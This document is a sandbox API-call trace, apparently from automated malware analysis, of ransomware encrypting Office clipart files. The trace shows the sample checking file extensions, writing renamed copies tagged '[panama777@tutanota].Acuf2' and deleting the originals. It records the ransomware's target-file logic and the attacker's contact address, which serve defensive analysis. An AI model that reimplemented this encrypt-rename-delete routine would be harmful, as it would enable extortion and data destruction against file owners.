	[0271.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63
	[0271.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63
	[0271.553] lstrlenW (lpString=".doc") returned 4
	[0271.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.553] lstrlenW (lpString=".docx") returned 5
	[0271.553] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0271.553] lstrlenW (lpString=".pdf") returned 4
	[0271.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.553] lstrlenW (lpString=".xls") returned 4
	[0271.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.553] lstrlenW (lpString=".xlsx") returned 5
	[0271.553] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0271.553] lstrlenW (lpString=".ppt") returned 4
	[0271.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63
	[0271.553] lstrlenW (lpString=".zip") returned 4
	[0271.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.553] lstrlenW (lpString=".rar") returned 4
	[0271.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.553] lstrlenW (lpString=".bz2") returned 4
	[0271.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.553] lstrlenW (lpString=".7z") returned 3
	[0271.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63
	[0271.553] lstrlenW (lpString=".dbf") returned 4
	[0271.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63
	[0271.553] lstrlenW (lpString=".1cd") returned 4
	[0271.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63
	[0271.554] lstrlenW (lpString=".jpg") returned 4
	[0271.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.554] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=24528) returned 1
	[0271.554] CloseHandle (hObject=0x360) returned 1
	[0271.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20
	[0271.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.554] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.554] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.555] GetLastError () returned 0x0
	[0271.555] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5fd0, lpOverlapped=0x0) returned 1
	[0271.584] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5fe0, lpOverlapped=0x0) returned 1
	[0271.585] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.585] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.585] SetEndOfFile (hFile=0x28c) returned 1
	[0271.585] CloseHandle (hObject=0x28c) returned 1
	[0271.585] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.586] SetEndOfFile (hFile=0x360) returned 1
	[0271.588] CloseHandle (hObject=0x360) returned 1
	[0271.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1
	[0271.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63
	[0271.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63
	[0271.636] lstrlenW (lpString=".doc") returned 4
	[0271.636] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.636] lstrlenW (lpString=".docx") returned 5
	[0271.636] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0271.636] lstrlenW (lpString=".pdf") returned 4
	[0271.637] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.637] lstrlenW (lpString=".xls") returned 4
	[0271.637] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.637] lstrlenW (lpString=".xlsx") returned 5
	[0271.637] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0271.637] lstrlenW (lpString=".ppt") returned 4
	[0271.637] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63
	[0271.637] lstrlenW (lpString=".zip") returned 4
	[0271.637] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.637] lstrlenW (lpString=".rar") returned 4
	[0271.637] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.637] lstrlenW (lpString=".bz2") returned 4
	[0271.637] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.637] lstrlenW (lpString=".7z") returned 3
	[0271.637] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63
	[0271.637] lstrlenW (lpString=".dbf") returned 4
	[0271.637] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63
	[0271.637] lstrlenW (lpString=".1cd") returned 4
	[0271.637] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63
	[0271.637] lstrlenW (lpString=".jpg") returned 4
	[0271.637] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.638] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=25265) returned 1
	[0271.638] CloseHandle (hObject=0x388) returned 1
	[0271.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20
	[0271.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0271.638] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.638] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.639] GetLastError () returned 0x0
	[0271.639] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x62b1, lpOverlapped=0x0) returned 1
	[0271.683] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x62c0, lpOverlapped=0x0) returned 1
	[0271.684] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.684] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.684] SetEndOfFile (hFile=0x28c) returned 1
	[0271.684] CloseHandle (hObject=0x28c) returned 1
	[0271.684] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.684] SetEndOfFile (hFile=0x388) returned 1
	[0271.686] CloseHandle (hObject=0x388) returned 1
	[0271.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 1
	[0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63
	[0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63
	[0271.687] lstrlenW (lpString=".doc") returned 4
	[0271.687] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.687] lstrlenW (lpString=".docx") returned 5
	[0271.687] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0271.687] lstrlenW (lpString=".pdf") returned 4
	[0271.687] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.687] lstrlenW (lpString=".xls") returned 4
	[0271.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.687] lstrlenW (lpString=".xlsx") returned 5
	[0271.687] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0271.687] lstrlenW (lpString=".ppt") returned 4
	[0271.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63
	[0271.687] lstrlenW (lpString=".zip") returned 4
	[0271.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.687] lstrlenW (lpString=".rar") returned 4
	[0271.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.687] lstrlenW (lpString=".bz2") returned 4
	[0271.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.687] lstrlenW (lpString=".7z") returned 3
	[0271.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63
	[0271.687] lstrlenW (lpString=".dbf") returned 4
	[0271.687] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63
	[0271.687] lstrlenW (lpString=".1cd") returned 4
	[0271.688] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63
	[0271.688] lstrlenW (lpString=".jpg") returned 4
	[0271.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0272.067] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=14337) returned 1
	[0272.067] CloseHandle (hObject=0x29c) returned 1
	[0272.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20
	[0272.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.083] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.083] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.084] GetLastError () returned 0x0
	[0272.084] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3801, lpOverlapped=0x0) returned 1
	[0272.086] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3810, lpOverlapped=0x0) returned 1
	[0272.087] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.087] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.087] SetEndOfFile (hFile=0x390) returned 1
	[0272.087] CloseHandle (hObject=0x390) returned 1
	[0272.087] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.087] SetEndOfFile (hFile=0x218) returned 1
	[0272.089] CloseHandle (hObject=0x218) returned 1
	[0272.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 1
	[0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63
	[0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63
	[0272.090] lstrlenW (lpString=".doc") returned 4
	[0272.090] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0272.090] lstrlenW (lpString=".docx") returned 5
	[0272.090] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0272.090] lstrlenW (lpString=".pdf") returned 4
	[0272.090] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0272.090] lstrlenW (lpString=".xls") returned 4
	[0272.090] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0272.090] lstrlenW (lpString=".xlsx") returned 5
	[0272.090] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0272.090] lstrlenW (lpString=".ppt") returned 4
	[0272.090] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63
	[0272.090] lstrlenW (lpString=".zip") returned 4
	[0272.090] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0272.090] lstrlenW (lpString=".rar") returned 4
	[0272.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0272.090] lstrlenW (lpString=".bz2") returned 4
	[0272.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0272.090] lstrlenW (lpString=".7z") returned 3
	[0272.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63
	[0272.090] lstrlenW (lpString=".dbf") returned 4
	[0272.091] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0272.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63
	[0272.091] lstrlenW (lpString=".1cd") returned 4
	[0272.091] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0272.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63
	[0272.091] lstrlenW (lpString=".jpg") returned 4
	[0272.091] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0272.091] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=32184) returned 1
	[0272.091] CloseHandle (hObject=0x218) returned 1
	[0272.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20
	[0272.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.092] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.092] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.092] GetLastError () returned 0x0
	[0272.092] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0272.094] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0272.095] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.095] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.096] SetEndOfFile (hFile=0x390) returned 1
	[0272.096] CloseHandle (hObject=0x390) returned 1
	[0272.096] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.096] SetEndOfFile (hFile=0x218) returned 1
	[0272.100] CloseHandle (hObject=0x218) returned 1
	[0272.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 1
	[0272.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63
	[0272.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63
	[0272.100] lstrlenW (lpString=".doc") returned 4
	[0272.101] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString=".docx") returned 5
	[0272.101] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0272.101] lstrlenW (lpString=".pdf") returned 4
	[0272.101] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString=".xls") returned 4
	[0272.101] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString=".xlsx") returned 5
	[0272.101] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0272.101] lstrlenW (lpString=".ppt") returned 4
	[0272.101] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63
	[0272.101] lstrlenW (lpString=".zip") returned 4
	[0272.101] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString=".rar") returned 4
	[0272.101] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString=".bz2") returned 4
	[0272.101] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString=".7z") returned 3
	[0272.101] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63
	[0272.101] lstrlenW (lpString=".dbf") returned 4
	[0272.101] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63
	[0272.101] lstrlenW (lpString=".1cd") returned 4
	[0272.101] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63
	[0272.101] lstrlenW (lpString=".jpg") returned 4
	[0272.101] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.102] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=32184) returned 1
	[0272.102] CloseHandle (hObject=0x218) returned 1
	[0272.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20
